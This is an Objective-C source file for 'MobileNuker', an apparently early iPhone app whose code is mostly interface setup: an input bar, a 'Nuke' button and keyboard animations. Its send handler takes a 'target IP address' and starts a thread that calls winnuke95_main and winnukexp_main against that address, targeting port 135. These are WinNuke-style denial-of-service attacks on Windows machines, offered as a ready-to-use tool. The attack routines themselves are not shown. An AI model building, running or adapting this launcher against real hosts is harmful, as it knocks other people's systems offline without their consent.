/*

	Thanks go to the MobileColloquy code for help, Erica Sadun's work at TUAW, and all my testers!

*/



#import "MobileNukerApplication.h"

static UIImage *inputBackgroundImage = nil;
static UIImage *barBackgroundImage = nil;

@implementation MobileNukerInputBarView


- (id) initWithFrame:(CGRect) frame {
	if( ! barBackgroundImage )
		barBackgroundImage = [UIImage applicationImageNamed:@"EntryBackground.png"];
	self = [super initWithFrame:frame];

	return self;
}

- (void) drawRect:(CGRect) rect {
	[barBackgroundImage drawAsPatternInRect:[self bounds]];
	[super drawRect:rect];
}
@end

@implementation MobileNukerInputField
- (id) initWithFrame:(CGRect) frame {
	if( ! inputBackgroundImage )
		inputBackgroundImage = [UIImage applicationImageNamed:@"BalloonInputField.png"];
			self = [super initWithFrame:frame];
	[self setOpaque:NO];

	return self;
}

- (void) drawRect:(CGRect) rect {
	CGRect left = CGRectMake(0, 0, 13, 26);
	CGRect middle = CGRectMake(13, 0, 1, 26);
	CGRect right = CGRectMake(14, 0, 17, 26);
	CDAnonymousStruct4 slices = { left, middle, right };

	[inputBackgroundImage draw3PartImageWithSliceRects:slices inRect:[self bounds]];

	[super drawRect:rect];
}
@end


@implementation MobileNukerMainView

- (void)drawRect:(struct CGRect)rect
{
	float black[4] = {0, 0, 0, 1};


	CGContextRef ctx = UICurrentContext();
	
	float red[4] = {1, 0, 0, 1};

	CGContextSetFillColor(ctx, black);

	CGContextFillRect(ctx, rect);

}

@end

@implementation MobileNukerApplication


- (void) applicationDidFinishLaunching: (id) unused
{

	NSLog(@"-(void)applicationDidFinishLaunching:");
	
	NSLog(@"UIKeyboard initImplementationNow");

	[UIKeyboard initImplementationNow];

    UIWindow *window = [[UIWindow alloc] initWithContentRect: [UIHardware fullScreenApplicationContentRect]];

    struct CGRect rect = [UIHardware fullScreenApplicationContentRect];
    rect.origin.x = rect.origin.y = 0.0f;

	CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB();
	float whiteColor[4] = { 1.0f, 1.0f, 1.0f, 1.0f };
	float blackColor[4] = { 0.0f, 0.0f, 0.0f, 0.0f };

	mainView = [[MobileNukerMainView alloc] initWithFrame: rect];
	NSLog(@"Created Main View");
	[window setContentView: mainView]; 
	NSLog(@"Added Main View to Window");
		
    [window orderFront: self];
    [window makeKey: self];
    [window _setHidden: NO];

	NSLog(@"Brought Window to Front");

	MobileNukerInputBarView *_inputBarView = [[MobileNukerInputBarView alloc] initWithFrame:CGRectMake(0.0f, -40.0f, rect.size.width, 40.0f)];
	NSLog(@"Created Input Bar View");

	{
		/* Set Up Send Button */
		
		NSLog(@"Setting Up Send Button");

		CGRect left = CGRectMake(0.0f, 0.0f, 13.0f, 26.0f);
		CGRect middle = CGRectMake(13.0f, 0.0f, 1.0f, 26.0f);
		CGRect right = CGRectMake(14.0f, 0.0f, 13.0f, 26.0f);
		CDAnonymousStruct4 slices = { left, middle, right };
	
		_sendButton = [[UIThreePartButton alloc] initWithTitle:@"Nuke"];
		[_sendButton setEnabled:YES];
		[_sendButton setAutosizesToFit:NO];
		[_sendButton setFrame:CGRectMake(rect.size.width - 69.0f, 8.0f, 62.0f, 26.0f)];
		[_sendButton setBackgroundSlices:slices];
		[_sendButton setBackgroundImage:[UIImage applicationImageNamed:@"Button.png"] ];
		[_sendButton setPressedBackgroundImage:[UIImage applicationImageNamed:@"ButtonPressed.png"]];
		[_sendButton addTarget:self action:@selector(send:) forEvents:1];

		NSLog(@"Setting up Input Field");

		_inputField = [[MobileNukerInputField alloc] initWithFrame:CGRectMake(6.0f, 8.0f, rect.size.width - 77.0f, 26.0f)];
		[_inputField setTextSize:14.];

		float transparentComponents[4] = { 1., 1., 1., 0. };

		[_inputField setBackgroundColor:CGColorCreate(colorSpace, transparentComponents)];

		[_inputField setDelegate:self];
		[_inputField setEditable:YES];
		}

		NSLog(@"Adding Send Button & Input Field to Bar View");

		[_inputBarView addSubview:_inputField];
		[_inputBarView addSubview:_sendButton];
		
		NSLog(@"Adding Bar View to Main View");

		[mainView addSubview:_inputBarView];
		
		NSLog(@"ApplicationDidFinishLaunching = YES");
		
		if( ! _keyboard ) {
		NSLog(@"Init Keyboard");

		_keyboard = [[UIKeyboard alloc] initWithFrame:CGRectMake(0.0f, rect.size.height-220.0f, 320.0f, 200.0f)];
		[_keyboard setDefaultReturnKeyType:7]; // send button
		[_keyboard setReturnKeyEnabled: YES];
		//[_keyboard setPreferredKeyboardType: 4];
		//[_keyboard showPreferredLayout];
}
	
	
	NSMutableArray *animations = nil;
	animations = [[NSMutableArray alloc] initWithCapacity:2];
			
		NSLog(@"Adding Keyboard to Main View");

		[mainView addSubview:_keyboard];
		
		NSLog(@"Activating Keyboard");
		
		[_keyboard activate];
		
		// Keyboard Animation In
		
		CGRect kbstartFrame;
		CGRect kbendFrame;
		kbstartFrame = CGRectMake(0.0f, rect.size.height, 320.0f, 200.0f);
		kbendFrame = kbstartFrame;
		kbendFrame.origin.y = rect.size.height-220.0f;
		
		[_keyboard setFrame:kbstartFrame];

		UIFrameAnimation *keyboardAnimation = [[UIFrameAnimation alloc] initWithTarget:_keyboard];
		[keyboardAnimation setStartFrame:kbstartFrame];
		[keyboardAnimation setEndFrame:kbendFrame];
		[keyboardAnimation setSignificantRectFields:2]; // the y position of the rect
		
		[keyboardAnimation setDelegate:self];
		
		// Input Bar Animation In
		
		CGRect ibstartFrame = CGRectMake(0.0f, -40.0f, rect.size.width, 40.0f);
		CGRect ibendFrame = CGRectMake(0.0f, 0.0f, rect.size.width, 40.0f);
		
		UIFrameAnimation *inputBarAnimation = [[UIFrameAnimation alloc] initWithTarget:_inputBarView];
		[inputBarAnimation setStartFrame:ibstartFrame];
		[inputBarAnimation setEndFrame:ibendFrame];
		[inputBarAnimation setSignificantRectFields:2]; // the y position of the rect
		
		[inputBarAnimation setDelegate:self];

		[animations addObject:keyboardAnimation];
		[animations addObject:inputBarAnimation];

		[[UIAnimator sharedAnimator] addAnimations:animations withDuration:0.5 start:YES];

}

- (void) send:(id) sender {

	NSLog(@"-(void)send:");


	NSString *message = [_inputField text];
	struct CGRect rect = [UIHardware fullScreenApplicationContentRect];

	if (![message length] > 0)
	{
	UIAlertSheet *_progressSheet = [[UIAlertSheet alloc] initWithFrame:rect];
	[_progressSheet setBodyText:@"Please enter the target IP address"];
	[_progressSheet setRunsModal:YES];
	[_progressSheet setTitle:@"Address Field Empty"];
	[_progressSheet popupAlertAnimated:YES];		return;
	}
	
	
	UIAlertSheet *_progressSheet = [[UIAlertSheet alloc] initWithFrame:rect];
	[_progressSheet setBodyText:@"This can take a while. Please wait."];
	[_progressSheet setRunsModal:YES];
	[_progressSheet setTitle:@"Sending Nuke"];
	[_progressSheet popupAlertAnimated:YES];
	pthread_create(&nuke_tid, NULL, nukeMain, (char *)[message cString]);

		
	/*
	if (winnuke95_success != 0 && winnukexp_success != 0)
		[_inputField setText:@"<<failed>>"];
	else
		[_inputField setText:@"<<nuked>>"];
	*/
}

@end

void nukeMain(char * address)
{

	char *winnuke95_argv[2];
	winnuke95_argv[0] = "winnuke";
	winnuke95_argv[1] = address;
	
	char *winnukexp_argv[3];
	winnukexp_argv[0] = "winnukexp";
	winnukexp_argv[1] = address;
	winnukexp_argv[2] = "135";

	int winnuke95_success = winnuke95_main(winnuke95_argv);
	int winnukexp_success = winnukexp_main(winnukexp_argv);
	
	NSAutoreleasePool *pool = [NSAutoreleasePool new];
	[[UIAlertSheet topMostAlert] dismissAnimated:YES];
	[pool release];
}